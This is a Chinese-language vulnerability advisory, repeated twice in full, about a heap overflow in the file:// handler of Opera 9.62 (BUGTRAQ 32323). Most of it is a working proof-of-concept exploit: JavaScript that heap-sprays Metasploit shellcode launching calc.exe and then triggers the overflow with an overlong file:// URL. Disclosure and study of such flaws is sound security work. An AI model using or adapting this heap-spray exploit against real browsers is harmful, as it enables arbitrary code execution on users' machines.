Opera Web浏览器file://处理器堆溢出漏洞
发布日期：2008-11-17
更新日期：2008-11-18
受影响系统：
Opera Software Opera 9.62
描述：BUGTRAQ ID: 32323
Opera是一款流行的WEB浏览器，支持多种平台。
Opera Web浏览器的file://处理器没有正确地验证用户提供输入参数，如果用户受骗打开了恶意的HTML文档并向处理器传送了大约16,500个字符的话，就可以触发堆溢出，导致执行任意指令。请注意无法从Internet调用file://处理器，因此访问恶意网页不会触发这个溢出。
<*来源：send9 （send9@chiseclabs.com）
链接：http://marc.info/?l=bugtraq%26amp;m=122694979215499%26amp;w=2
http://secunia.com/advisories/32752/
*>
测试方法：<font color='#FF0000'><p align='center'>警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！</p></font><html>
<head><title>uh?</title></head>
<body>
<script>
// k`sOSe 11/15/2008
// tested on Windows XP SP3, opera 9.62 international version
// vulnerability found by send9
// there are many ways to achieve code execution, tons of function pointers to overwrite.
// maybe there%26#39;s one more reliable...
var i=0;
// push es, pop es
var block = unescape("%u0607%u0607");
// metasploit WinExec c:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
while (block.length < 81920) block += block;
var memory = new Array();
for (;i<1000;i++) memory[i] += (block + shellcode);
var evil = "file://";
for(var i = 0; i<16438; i++)
evil += "X";
evil += "R.";
window.location.replace(evil);
</script>
</body>
</html>
建议：厂商补丁：
Opera Software
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.opera.com
发布日期：2008-11-17
更新日期：2008-11-18
受影响系统：
Opera Software Opera 9.62
描述：BUGTRAQ ID: 32323
Opera是一款流行的WEB浏览器，支持多种平台。
Opera Web浏览器的file://处理器没有正确地验证用户提供输入参数，如果用户受骗打开了恶意的HTML文档并向处理器传送了大约16,500个字符的话，就可以触发堆溢出，导致执行任意指令。请注意无法从Internet调用file://处理器，因此访问恶意网页不会触发这个溢出。
<*来源：send9 （send9@chiseclabs.com）
链接：http://marc.info/?l=bugtraq%26amp;m=122694979215499%26amp;w=2
http://secunia.com/advisories/32752/
*>
测试方法：<font color='#FF0000'><p align='center'>警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！</p></font><html>
<head><title>uh?</title></head>
<body>
<script>
// k`sOSe 11/15/2008
// tested on Windows XP SP3, opera 9.62 international version
// vulnerability found by send9
// there are many ways to achieve code execution, tons of function pointers to overwrite.
// maybe there%26#39;s one more reliable...
var i=0;
// push es, pop es
var block = unescape("%u0607%u0607");
// metasploit WinExec c:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
while (block.length < 81920) block += block;
var memory = new Array();
for (;i<1000;i++) memory[i] += (block + shellcode);
var evil = "file://";
for(var i = 0; i<16438; i++)
evil += "X";
evil += "R.";
window.location.replace(evil);
</script>
</body>
</html>
建议：厂商补丁：
Opera Software
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.opera.com